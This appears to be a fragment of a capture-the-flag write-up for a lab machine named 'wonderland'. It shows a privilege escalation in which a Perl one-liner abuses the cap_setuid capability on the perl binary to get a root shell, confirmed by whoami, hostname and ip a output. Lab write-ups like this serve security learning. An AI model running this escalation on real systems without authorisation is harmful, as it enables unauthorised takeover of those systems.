Capability (perl = cap_setuid+ep)


hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
root@wonderland:~# 
root@wonderland:~# whoami
root
root@wonderland:~# hostname
wonderland
root@wonderland:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:a9:f1:ea:f3:b7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.35.235/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 3521sec preferred_lft 3521sec
    inet6 fe80::a9:f1ff:feea:f3b7/64 scope link 
       valid_lft forever preferred_lft forever
 

System Level Compromise